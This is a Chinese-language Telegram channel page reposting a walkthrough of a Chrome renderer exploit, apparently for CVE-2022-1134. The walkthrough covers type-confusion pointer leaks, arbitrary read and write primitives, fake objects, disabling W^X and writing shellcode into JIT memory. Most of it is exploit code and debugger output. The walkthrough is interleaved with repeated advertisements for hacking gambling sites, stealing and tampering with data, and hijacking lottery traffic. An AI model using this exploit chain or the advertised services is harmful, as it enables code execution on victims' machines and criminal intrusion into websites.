网站破解权限 渗透劫持 黑客数据
5.02K subscribers
571 photos
1 video
50 links
Download Telegram
ImageData 中有一个名为 data_u8_ 的属性,而该属性用于储存 DOMUint8ClampedArray 的指针,其偏移与 ImageData.m21 相同。因此,通过类型混淆,我们能够泄漏出 DOMUint8ClampedArray 的指针。

ImageData 的构造函数需要提供 Uint8ClampedArray 对象,该对象将成为 DOMUint8ClampedArray 。

而 DOMUint8ClampedArray 是 V8 中 Uint8ClampedArray 的 Blink 表示,它是一个包含 main_world_wrapper_ 字段的 ScriptWrappable 对象,可以用来检索 V8 中 Uint8ClampedArray 的地址。

那么就可以从 ImageData.m21 的类型混淆获取到 Blink 的内存地址,而再通过 Blink 中的 DOMUint8ClampedArray 对象的 main_world_wrapper_ 再读出 V8 所属的内存地址。

这个过程和上面的泄漏有些许不同,因为泄漏一个属性只需要调整偏移即可,但泄漏某个偏移处指向的地址,却要求我们拥有“解引用”的方法,这可以通过 DeviceMotionEvent::interval 实现:
渗透各种BC平台 带后台自己提取数据 破解源码篡改数据 劫持六合彩流量ABC站点劫持 黑客渗透破解平台数据:@YaMaa8
class DeviceMotionEvent final : public Event {
DEFINE_WRAPPERTYPEINFO();

public:
double DeviceMotionEvent::interval() const {
//reads the field interval_ from device_motion_data_
return device_motion_data_->Interval();
}

...
private:
Member<const DeviceMotionData> device_motion_data_;
}

class MODULES_EXPORT DeviceMotionData final
: public GarbageCollected<DeviceMotionData> {
public:
...
double Interval() const { return interval_; }
...
private:
...
double interval_;
};
DeviceMotionEvent 在某固定偏移处指向了 device_motion_data_ ,并从该对象的固定偏移处读取 interval_ ,我们将这种读取方式应用与另外一个对象,本例中即为 DOMMatrix ,那么它就会从 DOMMatrix.m33 偏移处获取到地址作为 device_motion_data_ ,并从该地址处的固定偏移获取数据:
渗透各种BC平台 带后台自己提取数据 破解源码篡改数据 劫持六合彩流量ABC站点劫持 黑客渗透破解平台数据:@YaMaa8
ebugPrint: 0x325a081135f9: [JSTypedArray]
- map: 0x325a083034b9 <Map(UINT8_CLAMPEDELEMENTS)> [FastProperties]
- prototype: 0x325a082d0eb1 <Object map = 0x325a083034e1>
- elements: 0x325a080033c9 <ByteArray[0]> [UINT8_CLAMPEDELEMENTS]
- embedder fields: 2
- buffer: 0x325a081135b9 <ArrayBuffer map = 0x325a08302d61>
- byte_offset: 0
- byte_length: 48
- length: 48
- data_ptr: 0x325c00018000
- base_pointer: (nil)
- external_pointer: 0x325c00018000
- properties: 0x325a08002249 <FixedArray[0]>
- All own properties (excluding elements): {}
- elements: 0x325a080033c9 <ByteArray[0]> {
0-47: 0
}
- embedder fields = {
711816412, aligned pointer: 0x7fa054dae9b8
1338892, aligned pointer: 0x3ab00028dc18
}

[21658:21658:1012/135648.555281:INFO:CONSOLE(109)] "55362263791097", source: file:///home/tokameine/Desktop/chrome-debug/CVE_2022_1134/other_chrome/demoexp.html (1
09)
pwndbg> tel 55362263791097
00:0000│ 0x325a081135f9 ◂— 0xc908002249083034
01:0008│ 0x325a08113601 ◂— 0x81135b9080033 /* '3' */
通过这种方法确定了一个 V8 对象地址后,由于整个 V8 的内存是线性储存,因此其他所有的对象地址都能够通过该地址加减一个偏移来得到。

但是这种方案的效率不高,加减偏移计算地址的方法很可能在不同版本或不同参数等因素浮动,一旦 exp 有一点变动就要重新调试计算,因此更优的方式是通过上述方案直接去读取出实际地址,这样读取的结果总是实时的,因此不容易出现问题。

同理,通过这种读取方式,我们还可以读取出其他对象的 map ,这能为我们之后用于伪造对象提供帮助:
var imgDataStore = new ArrayBuffer(48);
var imgData = new Uint8ClampedArray(imgDataStore);
var doubleArr = [1.1, 2.2, 3.3, 4.4, 5.5];
var objArr = [imgData];

let doubleArrMatrix = new SubMatrix(v8TypedArrayAddr + 0x74 - 1);
let doubleMap = ftoi32(readFrom(loopCount, doubleArrMatrix))[1];

var doubleArrElementDefault = (v8TypedArrayAddr + 0x60) >> 0;
var doubleArrDefault = i32tof(doubleArrElementDefault, 0x1000);

//map + properties
doubleArr[0] = i32tof(doubleMap, 0x8002249);
//elements + length
doubleArr[1] = doubleArrDefault;
doubleArr[2] = i32tof(0x8002249, 0x1000);
doubleArr[3] = 1.1;
fakeObj 与 signal
回顾一下,类型混淆能够让我们去非法的读取数据,但它实际上是通过 getter 的返回值完成的,倘若某个 getter 能够返回对象,那么我们就能够通过类型混淆来修改返回的结果了:
void SignalAttributeGetCallback(
const v8::FunctionCallbackInfo<v8::Value>& info) {
RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(info.GetIsolate(),
"Blink_Request_signal_Getter");
BLINK_BINDINGS_TRACE_EVENT("Request.signal.get");

v8::Local<v8::Object> v8_receiver = info.This();
Request* blink_receiver = V8Request::ToWrappableUnsafe(v8_receiver);
auto&& return_value = blink_receiver->signal();
bindings::V8SetReturnValue(info, return_value, blink_receiver);
}
blink_receiver->signal 返回一个 auto 类型的对象,通过控制其返回目标的属性,我们似乎有办法令其主动返回一个我们期望的对象。

根据声明我们能够发现:

AbortSignal* signal() const { return signal_; }
其返回对象是一个 AbortSignal 指针,它也是一个 ScriptWrappable 对象,而通过 V8SetReturnValue 将会返回 main_world_wrapper_ 字段中的 V8 对象地址,而该对象的类型取决于其拥有的 map 。

那么我们的目标就很明确了,首先声明一个 Request 对象用以获取 signal ,然后找到一个与 signal_ 有相同偏移却能够由我们随意控制的对象,将其设定为伪造好的内存结构,然后再返回出来即可。
而该标志位于 libchrome.so 中,通过 Blink 对象的读取,我们仍然有办法得到其地址:

var shellArrayAddr = addrOf(shellArray);

let wrapperMatrix = new SubMatrix(imgAddr);
let wrapperAddr = ftoi(readFrom(loopCount, wrapperMatrix));
var wasmProtectionKeyAddr = wrapperAddr + wasmMemoryProtectionKeysOffset;
compressedWrite(shellArrayAddr + 0x2c, itof(wasmProtectionKeyAddr));
for (let i = 0; i < 8; i++) {
shellArray[i] = 0;
}
void CodeSpaceWriteScope::SetWritable() {
if (WasmCodeManager::MemoryProtectionKeysEnabled()) {
RwxMemoryWriteScope::SetWritable();
} else if (v8_flags.wasm_write_protect_code_memory) {
current_native_module_->AddWriter();
}
}
bool WasmCodeManager::MemoryProtectionKeysEnabled() {
return HasMemoryProtectionKeySupport() &&
v8_flags.wasm_memory_protection_keys;
}
WasmCodeAllocator::WasmCodeAllocator(std::shared_ptr<Counters> async_counters)
: protect_code_memory_(!V8_HAS_PTHREAD_JIT_WRITE_PROTECT &&
v8_flags.wasm_write_protect_code_memory &&
!WasmCodeManager::MemoryProtectionKeysEnabled()),
async_counters_(std::move(async_counters)) {
owned_code_space_.reserve(4);
}
if (executable == EXECUTABLE) {
if (heap->write_protect_code_memory()) {
chunk->write_unprotect_counter_ =
heap->code_space_memory_modification_scope_depth();
} else {
size_t page_size = MemoryAllocator::GetCommitPageSize();
size_t area_size =
RoundUp(chunk->area_end() - chunk->area_start(), page_size);
// [1] DefaultWritableCodePermissions == RWX
CHECK(chunk->reservation_.SetPermissions(
chunk->area_start(), area_size, DefaultWritableCodePermissions()));
}
}
function jit(a) {
var sum = 0;
if (a[1] == 15) {
sum += 5;
}
for (var i = 0; i < a[1]; i++) {
sum += 10;
}
return a[0] + sum;
}
// Set write_protect_code_memory_ to false (disable W^X)
stableWrite(0xa070, 0, false);
// Compile a JIT function, which will create RWX memory
compile();

var jit_function_addr = stableAddrOf(jit);
var RWX_PAGE = stableRead32(jit_function_addr + 0x18, true);
var assembly_offset = RWX_PAGE + 0x40;
var shellcode = [0x010101010101b848n, 0x62792eb848500101n, 0x0431480101626d60n, 0x2f7273752fb84824n, 0x68e78948506e6962n, 0x012434810101303bn, 0x534944b848010101n, 0xd231503d59414c50n, 0x52e201485a086a52n, 0x010101b848e28948n, 0xb848500101010101n, 0x0101626d6062792en, 0x752fb84824043148n, 0x31506e69622f7273n, 0xe601485e086a56f6n, 0x0f583b6ae6894856n, 0x0000000090909005n];
for (var i = 0; i < shellcode.length; i++) {
stableWrite(assembly_offset + (8 * i), shellcode[i], true);
}

jit([1, 15]);